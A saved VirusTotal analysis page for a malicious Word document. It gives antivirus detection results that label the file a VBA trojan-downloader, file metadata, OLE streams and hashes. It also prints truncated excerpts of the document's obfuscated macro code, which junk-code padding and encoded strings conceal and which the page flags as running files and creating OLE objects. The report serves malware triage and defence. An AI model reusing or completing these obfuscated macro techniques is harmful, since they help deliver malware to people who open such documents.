Antivirus scan for a47537e42e4c20618028db34a7a1251f562d4f17befb83f4847ea60f5031add6 at 2018-03-28 13:11:13 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180328
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180328
Fortinet	VBA/Agent.HHV!tr	20180328
Microsoft	Trojan:Script/Cloxer.D!cl	20180328
Zoner	Probably W97Obfuscated	20180327
Ad-Aware		20180328
AegisLab		20180328
AhnLab-V3		20180328
Alibaba		20180328
ALYac		20180328
Antiy-AVL		20180328
Avast		20180328
Avast-Mobile		20180328
AVG		20180328
Avira (no cloud)		20180328
AVware		20180328
BitDefender		20180328
Bkav		20180328
CAT-QuickHeal		20180328
ClamAV		20180328
CMC		20180328
Comodo		20180328
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180328
Cyren		20180328
DrWeb		20180328
eGambit		20180328
Emsisoft		20180328
Endgame		20180316
ESET-NOD32		20180328
F-Prot		20180328
F-Secure		20180328
GData		20180328
Ikarus		20180328
Sophos ML		20180121
Jiangmin		20180328
K7AntiVirus		20180328
K7GW		20180328
Kaspersky		20180328
Kingsoft		20180328
Malwarebytes		20180328
MAX		20180328
McAfee		20180328
McAfee-GW-Edition		20180328
eScan		20180328
NANO-Antivirus		20180328
nProtect		20180328
Palo Alto Networks (Known Signatures)		20180328
Panda		20180328
Qihoo-360		20180328
Rising		20180328
SentinelOne (Static ML)		20180225
Sophos AV		20180328
SUPERAntiSpyware		20180328
Symantec		20180328
Symantec Mobile Insight		20180311
Tencent		20180328
TheHacker		20180327
TrendMicro		20180328
TrendMicro-HouseCall		20180328
Trustlook		20180328
VBA32		20180328
VIPRE		20180328
ViRobot		20180328
WhiteArmor		20180324
Yandex		20180328
Zillya		20180328
ZoneAlarm by Check Point		20180328

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-28 11:41:00

author

SHowafaecu

title

SHowafaecu

page_count

last_saved

2018-03-28 11:41:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

SHowafaecu

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/OwzWEdiG

[+] Macros/VBA/UNklwDkq

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/diFOBoKlOSnRU

[+] Macros/VBA/dir

[+] Macros/VBA/lwOUqUE

[+] Macros/VBA/zWJHKDd

[+] WordDocument

Macros and VBA code streams

[+] zWJHKDd.bas Macros/VBA/zWJHKDd 31292 bytes

Function btjhYladNwftoG()
On Error Resume Next
Select Case BEmKk
      Case 84877
         ZYwudG = CStr(pshnH + CStr(24138) - nbMwXE * 75465)
      Case 33704
         MprCLD = BtaWE
         BmHAo = Tan(41169 * vmvMaN)
End Select
TFSjAYa = OmVKU("Y3u5d0ADUAMgBhADMANABkADgAZABmADIAYQA3AGUANQBhADUAMAA4ADgANQA0ADEAZQAyAGIANQAyAGMAMwdS", 6, 79)
Select Case aOMnnH
      Case 85265
         FmDDmZ = CStr(uhpjda + CStr(49802) - XQRklZ * 88134)
      Case 59987
         zZsnjm = wSPjUw
         iHOsOW = Tan(87093 * DAZpWV)
End Select
Select Case CACLs
      Case 49490
         ijIdXb = CStr(aWoPbo + CStr(62977) - qJpWwY * 68159)
      Case 65862
         Itarkd = FTCKF
         sGSiZ = Tan(72502 * riJfQK)
End Select
aUllF = OmVKU("dCG6SgAZgBlADUAZQBiADEAZQBiAa%5B", 6, 23)
Select Case WWbPvB
      Case 19288
         iAnqt = CStr(JImVf + CStr(37421) - jETzz * 94632)
      Case 14513
         juaZkw = smPEMX
         RqjrRh = Tan(42577 * Jlrbn)
End Select
Select Case MZczwX
      Case 69299
         Bohiz = CStr(inGUa + CStr(52948) - zzpFkh * 71907)
      Case 95159
         uPknVG = iEUoI
         totkbf = Tan(42677 * IOzOP)
End Select
itRaOOiwCWu = OmVKU("wjQAwADMANgAyADIAMABiADIAYgBjAGYAZABhAGIANQA2AGUAOQAzAGQANgA2ADAAMAAxAGMAMQA0ADEANAA4ADMAMwA1ADEAZABjADMANQAyADcAMABkAGEAMwA4ADUAMAA1ADgAMgBjADAAMAAyADgANQBiol6kNm", 3, 155)
Select Case ntMqw
      Case 42290
         uSuJEX = CStr(cQGnZP + CStr(11077) - MzFFb * 3322)
      Case 72211
         kZFhO = rdpmGz
         zaWHl = Tan(93358 * IMpATm)
End Select
Select Case YWiKh
      Case 53006
         ZNJfO = CStr(ThorCn + CStr(23619) - jFofnU * 31378)
      Case 47129
         OJOwjw = qNcUp
         bVida = Tan(13466 * szGQn)
End Select
ZnoNSUFuYZ = OmVKU("uMAOQA3ADUAFAXFJ", 2, 10)
Select Case RuftHj
      Case 2694
         uWAAk = CStr(hApKsm + CStr(41081) - SBJtJS * 6228)
      Case 32321
         wLrhN = TVknt
         zddqXY = Tan(84455 * vYAWn)
End Select
Select Case tvvmwr
      Case 10867
         pIVAJ = CStr(YDc [... continues ...]

[+] OwzWEdiG.bas Macros/VBA/OwzWEdiG 17695 bytes

create-ole obfuscated run-file

Function XSrRpJj()
On Error Resume Next
Select Case EqjLoJ
      Case 99974
         jMRkk = CStr(YVKzQE + CStr(62800) - vTvLGq * 55790)
      Case 12141
         bKBKj = JfqYqw
         ZfwMwj = Tan(28337 * qcMdvM)
End Select
vwfYwwnOj = OmVKU("ZLbjlnXphQ4", 3, 3)
Select Case dCJdd
      Case 89196
         ZiiomB = CStr(ajqbS + CStr(89326) - Otstr * 60353)
      Case 69548
         ojoVtB = OMVijF
         iJwNR = Tan(31670 * WCcSzP)
End Select
Select Case bYRZOq
      Case 13887
         iUwGX = CStr(PocSqJ + CStr(86432) - WRqSV * 23055)
      Case 84288
         bZriV = Whmwz
         lTRHJ = Tan(50012 * Mtwrn)
End Select
dPhhiUR = OmVKU("qFrnirSTmZW%=!%btjhYlBJXw52V", 3, 19)
Select Case KBziwU
      Case 90832
         IsXPoM = CStr(SvfuL + CStr(82044) - DAjJvI * 60762)
      Case 61042
         hDvLIX = qbCUcb
         sUNwtw = Tan(36898 * cwiwwz)
End Select
Select Case BJNVI
      Case 76031
         fHHZGm = CStr(qELmDD + CStr(16143) - witNb * 10699)
      Case 86597
         ZXWHq = lVUcRY
         cTNBqG = Tan(63820 * HzBGA)
End Select
aUjwbc = OmVKU("Hz%fmkMiAOACvG%=ll&VEdpYXV", 3, 17)
Select Case icvMY
      Case 74572
         iBkipr = CStr(qSalj + CStr(10109) - OfLkz * 22784)
      Case 17828
         YVAqk = tYQtl
         uScWB = Tan(28385 * OoYPW)
End Select
Select Case pwjcu
      Case 56208
         liFEVY = CStr(twdha + CStr(86459) - Eszrj * 37225)
      Case 77327
         wlDbLD = MNjMBs
         uzvutM = Tan(48234 * GNBvkE)
End Select
ifYOFVAs = OmVKU("z %nIVvwKRXLM", 2, 6)
Select Case kKJvsk
      Case 39003
         uMAvk = CStr(zNrTd + CStr(95221) - woZbT * 6245)
      Case 58838
         ZQTtfc = DGzqa
         BitQoi = Tan(16851 * KbGHj)
End Select
Select Case mNOUUz
      Case 90656
         lwphtC = CStr(wnOif + CStr(4119) - Rcirz * 56382)
      Case 80170
         wbMqz = dujKz
         hXOab = Tan(27381 * DicUPa)
End Select
tCUMXPiXrNs = OmVKU("E,IlSqset %LHzOW2zP", 7, 10)
Select Case vmqdA
      Case 34280
         YzOUCE = CStr(SsfT [... continues ...]

[+] UNklwDkq.bas Macros/VBA/UNklwDkq 7295 bytes

obfuscated

Function SmssUHUCunk()
On Error Resume Next
Select Case lMoIs
      Case 39342
         UCdzin = CStr(lbwmK + CStr(66660) - zQZJv * 58345)
      Case 19225
         tlBXA = uCLInG
         aNGdPn = Tan(56442 * tThJso)
End Select
sIzmXhi = OmVKU("@91Z QhjAvflwlTwUN", 5, 10)
Select Case OzwqjI
      Case 17504
         wKnHqZ = CStr(dWcYWC + CStr(36751) - jqjjAS * 38496)
      Case 27891
         HwoML = WkRVIS
         fmCGpK = Tan(64042 * RtvTQ)
End Select
Select Case fsJjzQ
      Case 24491
         XFHbr = CStr(okKKU + CStr(87946) - JGCTGY * 99864)
      Case 3610
         qDSbF = BHKbC
         zKljvk = Tan(86091 * QaIBlW)
End Select
nudKGzO = OmVKU("LDXXttzImcStW", 4, 2)
Select Case GNsrMC
      Case 25105
         DJQCb = CStr(DAsrHM + CStr(92851) - kLnHQ * 89071)
      Case 32005
         Qqjbvu = kppkv
         ZfiRCM = Tan(48982 * KiJpp)
End Select
Select Case IdYrX
      Case 96493
         AZzzrw = CStr(wjiTij + CStr(84682) - utUDiK * 85614)
      Case 58996
         wWnwpc = saGFC
         NCShtP = Tan(87114 * jiJJjf)
End Select
fdqlrzsf = OmVKU("W6uVkFzpwdStLHA", 4, 8)
Select Case UPUIu
      Case 10051
         UIAJG = CStr(bDamvE + CStr(60332) - lAQdl * 89796)
      Case 27382
         doFzjY = lzIkM
         JhjIRV = Tan(61465 * XNiAF)
End Select
Select Case wzAUuG
      Case 91797
         WBRPJh = CStr(KJJoUT + CStr(7728) - DnLDoH * 26146)
      Case 70925
         nrIwW = uiJLCi
         zDhzw = Tan(23906 * GZKuMz)
End Select
FwcMYm = OmVKU("MdBo    /c       jwY", 5, 13)
Select Case iDHTJQ
      Case 4544
         SYAoTP = CStr(KHBCt + CStr(80819) - WoKBF * 16990)
      Case 25840
         OlZILb = rtSIV
         IzHsPw = Tan(28678 * tKDra)
End Select
Select Case VcVNYP
      Case 6550
         bfwtq = CStr(zBuhcD + CStr(51874) - mhrpJz * 95738)
      Case 74169
         ciEQwz = iCbwY
         lWSEos = Tan(1135 * JXHjpo)
End Select
CvIdHKtFW = OmVKU("pbt5    dX0", 5, 4)
Select Case jFGMo
      Case 77812
         OmTAE = CStr(DabiNz + CStr(92427)  [... continues ...]

[+] diFOBoKlOSnRU.bas Macros/VBA/diFOBoKlOSnRU 456 bytes

ExifTool file metadata

File identification

MD5 46541eead4cbbfc39a098ede11d1268f

SHA1 00f5a5f22867372801494257cce7201a0e09f9ad

SHA256 a47537e42e4c20618028db34a7a1251f562d4f17befb83f4847ea60f5031add6

ssdeep

3072:39G13YlFq21IbpMBkoo50QWUpPlPGtOD4pVuZBu0qF80uIf:39IolFRIbpEvwBWUfx6VII0qF8HIf

File size 188.0 KB ( 192512 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: SHowafaecu, Subject: SHowafaecu, Author: SHowafaecu, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Mar 27 10:41:00 2018, Last Saved Time/Date: Tue Mar 27 10:41:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-28 13:11:13 UTC ( 10 months, 3 weeks ago )

Last submission 2018-05-07 14:51:31 UTC ( 9 months, 2 weeks ago )

File names

ZHR-08017337280.doc
FQL-672621142.doc
JHL-262155130287.doc
OPH-990873969033.doc
TLQ-060832075687242.doc
JOS-230960766474172.doc
ZXI-226764378.doc
QB-4980547250.doc
index.html.17
TQL-6066571.doc
VNV-08555448339.doc
VK-204724395882345.doc
JIP-8785370187548.doc
LO-102715309717156.doc
WLA-4504328.doc
LMT-318541620082662.doc
YAO-82174186070550.doc
UM-511414795.doc
JVP-435210127.doc
LTN-4462188236.doc
QLS-3757853.doc
TG-9363288758.doc
NA-767806199042986.doc
KJ-3443781223384.doc
OP-999377917.doc

SHA256:	a47537e42e4c20618028db34a7a1251f562d4f17befb83f4847ea60f5031add6
File name:	IX-7459803903.doc
Detection ratio:	5 / 58
Analysis date:	2018-03-28 13:11:13 UTC ( 10 months, 3 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in